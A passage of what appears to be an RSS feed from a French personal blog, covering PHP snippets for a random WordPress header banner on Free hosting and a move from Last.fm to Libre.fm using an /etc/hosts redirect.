            <description>&lt;p&gt;Suite des épisodes de la bannière aléatoire !&lt;/p&gt;&#xA;&lt;p&gt;Résumé des épisodes précédents : grâce à zenphoto, je pouvais aller extraire un morceau d&amp;rsquo;image d&amp;rsquo;un des albums. La bannière du site changeait ainsi de manière aléatoire à chauqe chargement de la page, et le résultat était parfois surprenant. Hélas, depuis le début d&amp;rsquo;année, Free a augmenté sa sécurité, et la fonction php include() que j&amp;rsquo;utilisais est maintenant totalement interdite. Retour donc à une bannière fixe, malgré de nombreux essais de contournement.&lt;/p&gt;&#xA;&lt;p&gt;Je me suis alors orienté vers une autre solution : puisque de mon blog Wordpress en local (sur le pc) la fonction include fonctionne toujours, lorsque l&amp;rsquo;image générée me plait, je la sauvegarde dans un répertoire. Il suffit ensuite d&amp;rsquo;appeler une de ces images de manière aléatoire. Pour ce faire, après une petite recherche sur le web, j&amp;rsquo;ai trouvé le code suivant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$curdir&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getcwd&lt;/span&gt;(); &lt;span style=&#34;color:#a6e22e&#34;&gt;chdir&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;get_template_directory&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/images/headers&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$files&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;glob&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;*.{gif,png,jpg,gif}&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;GLOB_BRACE&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;chdir&lt;/span&gt;($curdir);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$file&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$files[&lt;span style=&#34;color:#a6e22e&#34;&gt;array_rand&lt;/span&gt;($files)];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;img src=&amp;#34;&amp;lt;?php echo(get_bloginfo(&amp;#39;template_url&amp;#39;).&amp;#34;/images/headers/$file&amp;#34;); ?&amp;gt;&amp;#34; width=&amp;#34;770&amp;#34; height=&amp;#34;140&amp;#34; alt=&amp;#34;&amp;lt;?php bloginfo(&amp;#39;name&amp;#39;); ?&amp;gt; random header image&amp;#34; /&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Je le teste en local, tout fonctionne à merveille. Mais voilà, nouveau problème avec Free : &lt;strong&gt;glob&lt;/strong&gt; est également désactivé ! :-(&lt;/p&gt;&#xA;&lt;p&gt;Heureusement, mes fichiers portant tous le même nom suivi d&amp;rsquo;un chiffre (banniereX.jpg), j&amp;rsquo;ai pu simplifier le code en procédant de la sorte :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$rand &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;rand&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;50&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;img src=&amp;#34;&amp;lt;?php echo(get_bloginfo(&amp;#39;template_url&amp;#39;).&amp;#34;/images/headers/banniere$rand.jpg&amp;#34;); ?&amp;gt;&amp;#34; width=&amp;#34;970&amp;#34; height=&amp;#34;140&amp;#34; alt=&amp;#34;&amp;lt;?php bloginfo(&amp;#39;name&amp;#39;); ?&amp;gt; random header image&amp;#34; /&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;C&amp;rsquo;est beaucoup plus simple, mais m&amp;rsquo;oblige à gérer le nombre de fichiers présent manuellement : cinquante images pour l&amp;rsquo;instant si vous avez suivi&amp;hellip; J&amp;rsquo;en ajouterai sûrement d&amp;rsquo;autres de temps en temps.&lt;/p&gt;&#xA;&lt;p&gt;Et finalement, la solution m&amp;rsquo;a été donnée sur le forum &lt;a class=&#34;link&#34; href=&#34;http://forum.phpfrance.com/post325659.html?#p325659&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;phpfrance&lt;/a&gt; : plus de fonction glob, et plus besoin de gérer le nombre d&amp;rsquo;images :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$curdir&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getcwd&lt;/span&gt;(); &lt;span style=&#34;color:#a6e22e&#34;&gt;chdir&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;get_template_directory&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/images/headers&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$dossier&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getcwd&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$list &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;opendir&lt;/span&gt;($dossier);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$tabfile &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; ($fichier &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;readdir&lt;/span&gt;($list))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  ($fichier &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; $fichier &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;..&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; $fichier &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.htaccess&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; $tabfile[] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; $fichier &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt; ;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;closedir&lt;/span&gt;($list);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//mélange du tableau&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;shuffle&lt;/span&gt;($tabfile);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// premier élément du tableau&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$file &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;array_shift&lt;/span&gt;($tabfile);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;chdir&lt;/span&gt;($curdir);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;img src=&amp;#34;&amp;lt;?php echo(get_bloginfo(&amp;#39;template_url&amp;#39;).&amp;#34;/images/headers/$file&amp;#34;); ?&amp;gt;&amp;#34; width=&amp;#34;970&amp;#34; height=&amp;#34;140&amp;#34; alt=&amp;#34;morceau d&amp;#39;image...&amp;#34; title=&amp;#34;morceau d&amp;#39;image...&amp;#34; /&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
        </item><item>
            <title>Adieu Last.fm, bonjour Libre.fm</title>
            <link>https://pled.fr/adieu-last-fm-bonjour-libre-fm/</link>
            <pubDate>Fri, 12 Feb 2010 19:05:35 +0000</pubDate>
            <guid>https://pled.fr/adieu-last-fm-bonjour-libre-fm/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://alpha.libre.fm/user/pled&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;mon compte sur libre.fm&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;759px&#34; data-flex-grow=&#34;316&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-last-fm-bonjour-libre-fm/librefm.png&#34; width=&#34;250&#34;&gt;&lt;/a&gt; Dans un &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2729&#34;  title=&#34;Problème avec le plugin Last.fm RPS&#34;&#xA;    &gt;article&lt;/a&gt; récent, je vous parlais du plugin Last.fm RPS qui n&amp;rsquo;affichait plus les pochettes, sans doute à cause de restrictions sur l&amp;rsquo;environnement de Free.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;autre part, Last.fm, qui était totalement gratuit à l&amp;rsquo;époque où j&amp;rsquo;ai créé mon compte (en 2006), a modifié sa politique et a rendu l&amp;rsquo;écoute payante, 3 € par mois&amp;hellip; Et comme souvent, les fondateurs avaient quitté l&amp;rsquo;entreprise, rachetée par le réseau audiovisuel américain &lt;strong&gt;CBS&lt;/strong&gt;.  Il était donc grand temps de passer à l&amp;rsquo;alternative libre née à la suite de ce changement, j&amp;rsquo;ai nommé &lt;strong&gt;Libre.fm&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;audioscrobbler&#34;&gt;Audioscrobbler&#xA;&lt;/h3&gt;&lt;p&gt;De quoi s&amp;rsquo;agit-il au fait ? grâce à une techno appelée &amp;ldquo;audioscrobbler&amp;rdquo;, et une fois le lecteur audio correctement configuré (ajout d&amp;rsquo;un plugin ou greffon), toute la musique que j&amp;rsquo;écoute est stockée sur le serveur Last.fm. A quoi cela sert-il ? à rien, c&amp;rsquo;est donc indispensable&amp;hellip; Plus sérieusement, on peut ainsi faire partager ses goûts musicaux avec d&amp;rsquo;autres personnes.&lt;/p&gt;&#xA;&lt;p&gt;Last.fm proposait un lecteur qui permettait de découvrir de nouveaux artistes, grâce aux informations récupérées sur ce principe auprès de milliers d&amp;rsquo;utilisateurs. On entrait un nom d&amp;rsquo;artiste qui nous plaisait, et le lecteur, comme une radio, passait des morceaux d&amp;rsquo;artistes qui pouvaient potentiellement vous plaire, puisque écoutés par des gens qui écoutaient aussi votre artiste préféré.&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-projet-librefm&#34;&gt;Le projet Libre.fm&#xA;&lt;/h3&gt;&lt;p&gt;Il s&amp;rsquo;agit donc d&amp;rsquo;un projet très récent, et encore à l&amp;rsquo;état de développement. L&amp;rsquo;auteur du projet, Matt Lee, explique dans un &lt;a class=&#34;link&#34; href=&#34;http://www.framablog.org/index.php/post/2009/04/06/librefm-alternative-libre-a-lastfm-deezer&#34;  title=&#34;Interview de Matt Lee sur Framablog&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;interview&lt;/a&gt; sur Framablog comment tout cela a démarré :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;L’idée de créer Libre.fm m’est venue alors que je fermais mes comptes pour des services tels que Facebook, MySpace, LinkedIn, etc. Il m’est apparu que je pouvais mettre en place une solution de remplacement libre à Last.fm – un service que beaucoup de monde utilise.&lt;/p&gt;&#xA;&lt;p&gt;Pour l’heure, Libre.fm espère fournir une solution de remplacement pour ceux qui souhaitent archiver leurs habitudes d’écoute, en implémentant l’API Audioscrobbler (qui semble être complètement ouverte) et des clients modifiés pour différentes plateformes.Le but à plus long terme est en lien direct avec mes autres centres d’intérêt, tels que la Free Culture, la promotion et l’enregistrement de musique d’artistes issus de la Free Culture. Sur Libre.fm, ce seront ces artistes qu’on pourra télécharger, mais des membres de la communauté s’emploieront à convaincre d’autres groupes de distribuer des morceaux sous une licence libre, telle que la licence Creative Commons By-Sa, de sorte qu’on puisse les proposer sur le site. La promo gratuite ne peut faire de mal à aucun groupe – nous ajouterons peut-être une boutique de musique en ligne où nous vendrons des téléchargements de musique libre. Les morceaux seront au format Ogg Vorbis.&lt;/p&gt;&#xA;&lt;p&gt;Le Ogg Vorbis, ce n’est peut-être pas ce à quoi les gens s’attendront, vu que les services similaires penchent en général pour des formats du genre MP3, mais à mes yeux il s’agit d’un moyen formidable de promouvoir l’utilisation du Ogg Vorbis. Plus tard, nous intégrerons peut-être aussi des clips vidéo au format Theora.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;On voit que l&amp;rsquo;esprit de la Culture Libre est très présent&amp;hellip; Et un type qui ferme ses comptes sur Facebook, MySpace et compagnie est à priori quelqu&amp;rsquo;un de respectable ! ;-) Disons qu&amp;rsquo;il se sent concerné par la sécurisation des données privées, et le refus de laisser des sociétés à but commercial les utiliser et même se les approprier.&lt;/p&gt;&#xA;&lt;h3 id=&#34;migration-vers-librefm&#34;&gt;Migration vers Libre.fm&#xA;&lt;/h3&gt;&lt;p&gt;La création d&amp;rsquo;un compte est on ne peut plus simple. Ensuite il faut configurer son lecteur audio pour qu&amp;rsquo;il envoie les informations vers Libre.fm et non plus Last.fm. S&amp;rsquo;il existe déjà un plugin pour mon lecteur Rhythmbox, il est encore à l&amp;rsquo;état de développement (comme le reste du projet), et n&amp;rsquo;a pas fonctionné sur mon poste. Heureusement, il existe une solution : ajouter la ligne suivante au fichier /etc/hosts :&lt;/p&gt;&#xA;&lt;p&gt;89.16.177.55     post.audioscrobbler.com&lt;/p&gt;&#xA;&lt;p&gt;Reste à configurer le plugin Last.fm de Rhythmbox avec l&amp;rsquo;identifiant et le mot de passe que vous venez de créer sur Libre.fm, et le tour est joué.&lt;/p&gt;&#xA;&lt;p&gt;Les choses étant bien faites, il est possible de migrer tout son historique Last.fm vers Libre.fm. Et donc tout ce que j&amp;rsquo;ai écouté sur le PC depuis 2006, soit plus de 18000 titres ! Pour cette migration, vous trouverez toutes les infos sur cette &lt;a class=&#34;link&#34; href=&#34;http://bugs.libre.fm/wiki/Using_lastscrape&#34;  title=&#34;Migration de last.fm vers libre.fm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page&lt;/a&gt; (en anglais).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai du m&amp;rsquo;y reprendre à trois fois pour que le script qui récupère tous les titres de last.fm arrive à son terme : les deux premières tentatives se sont terminées avec un message d&amp;rsquo;erreur http&amp;hellip; mais j&amp;rsquo;écoutais de la musique (et donc je &amp;ldquo;scrobblais&amp;rdquo; vers Last.fm). Peut-être était-ce la raison, car la troisième fût la bonne. Sinon, la manip est on ne peut plus simple : lancement d&amp;rsquo;un premier script pour récupérer le contenu de Last.fm, un peu de nettoyage dans le fichier contenant votre historique (suppression des doublons), et exécution d&amp;rsquo;un autre script pour envoyer le contenu cette fois sur Libre.fm.&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-blog&#34;&gt;Le blog&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://alpha.libre.fm/user/pled&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;ma musique sur libre.fm&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;307px&#34; data-flex-grow=&#34;128&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-last-fm-bonjour-libre-fm/librefm-blog.png&#34; width=&#34;201&#34;&gt;&lt;/a&gt; Pour l&amp;rsquo;instant, il n&amp;rsquo;existe pas de plugin Wordpress qui permette d&amp;rsquo;afficher les derniers titres écoutés sur le blog. Cela viendra certainement un jour&amp;hellip; En attendant, une simple image fera l&amp;rsquo;affaire, et en cliquant dessus, on accède à ma page sur Libre.fm, puis consulter mes stats&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Encore une fois, c&amp;rsquo;est assez basique pour l&amp;rsquo;instant. Mais au moins je suis sûr que mes données personnelles ne sont pas utilisées à des fins commerciales, et que ma vie privée est respectée. On peut déjà écouter des artistes du site &lt;a class=&#34;link&#34; href=&#34;http://www.jamendo.com/fr/&#34;  title=&#34;Le site de Jamendo&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Jamendo&lt;/a&gt;. Et le projet a reçu un excellent accueil sur le web&amp;hellip; longue vie à lui !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Bannière aléatoire, plugin lastfm : problème avec Free</title>
            <link>https://pled.fr/banniere-alatoire-plugin-lastfm-probleme-avec-free/</link>
            <pubDate>Thu, 04 Feb 2010 18:59:07 +0000</pubDate>
            <guid>https://pled.fr/banniere-alatoire-plugin-lastfm-probleme-avec-free/</guid>
            <description>&lt;p&gt;Depuis bientôt deux semaines, il y a deux trucs qui ne marchent plus sur le blog : la &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1305&#34;  title=&#34;article sur la bannière aléatoire&#34;&#xA;    &gt;bannière aléatoire&lt;/a&gt; (dont j&amp;rsquo;étais si content) s&amp;rsquo;est soudain mis à me retourner un joli message d&amp;rsquo;erreur (qui a au moins le mérite d&amp;rsquo;être clair) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/02/erreur-banniere.png&#34; &gt;&lt;img alt=&#34;message d’erreur Free&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/banniere-alatoire-plugin-lastfm-probleme-avec-free/erreur-banniere-small.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme expliqué dans l&amp;rsquo;article cité, j&amp;rsquo;utilise une fonction &lt;strong&gt;php include&lt;/strong&gt; pour obtenir cette image aléatoire tirée de l&amp;rsquo;album zenphoto. Même le test de retour sur la fonction ne marchait plus ! J&amp;rsquo;ai dans un premier temps remplacé le code par une image fixe. Au bout d&amp;rsquo;une semaine, j&amp;rsquo;ai posé la question sur le newsgroup &lt;strong&gt;proxad.free.services.pageperso&lt;/strong&gt;, probablement le meilleur endroit pour obtenir des informations sur ce genre de problème.&lt;/p&gt;&#xA;&lt;p&gt;Mon code était le suivant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;header_img&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; $banniere &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://zenphoto.pled.fr/?p=heading&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ($banniere &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On m&amp;rsquo;a alors conseillé d&amp;rsquo;utiliser un chemin relatif pour la fonction php include. Ce que j&amp;rsquo;ai fait, ce qui donne :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;header_img&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; $banniere &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;../../../../gallery/?p=heading&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ($banniere &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span 